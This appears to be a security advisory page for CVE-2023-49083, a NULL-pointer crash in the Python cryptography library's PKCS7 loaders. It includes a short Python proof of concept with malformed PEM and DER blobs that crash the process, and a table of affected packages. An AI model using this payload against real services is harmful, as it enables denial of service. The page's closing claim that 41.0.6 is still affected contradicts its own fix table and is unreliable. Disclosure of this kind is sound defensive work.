First published: Tue Nov 28 2023(Updated: )
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
Credit: security-advisories@github.com security-advisories@github.com
Affected Software | Affected Version | How to fix |
---|---|---|
pip/cryptography | >=3.1<41.0.6 | 41.0.6 |
Cryptography Project Cryptography | >=3.1<41.0.6 | |
debian/python-cryptography | 2.6.1-3+deb10u2 2.6.1-3+deb10u4 | |
ubuntu/python-cryptography | <3.4.8-1ubuntu2.1 | 3.4.8-1ubuntu2.1 |
ubuntu/python-cryptography | <38.0.4-2ubuntu0.1 | 38.0.4-2ubuntu0.1 |
ubuntu/python-cryptography | <38.0.4-4ubuntu0.23.10.1 | 38.0.4-4ubuntu0.23.10.1 |
IBM Planning Analytics Local - IBM Planning Analytics Workspace | <=2.1 | |
IBM Planning Analytics Local - IBM Planning Analytics Workspace | <=2.0 | |
redhat/python-cryptography | <41.0.6 | 41.0.6 |
Cryptography.io Cryptography Python | >=3.1<41.0.6 |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
The vulnerability ID of this issue is CVE-2023-49083.
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.
This vulnerability can be triggered by calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates`.
The affected software is cryptography version 3.1 up to and including 41.0.6.
You can find more information about this vulnerability in the following references: [GitHub Advisory GHSA-jfhm-5ghh-2f97](https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97), [GitHub Commit f09c261ca10a31fe41b1262306db7f8f1da0e48a](https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a), [GitHub Advisory GHSA-jfhm-5ghh-2f97](https://github.com/advisories/GHSA-jfhm-5ghh-2f97).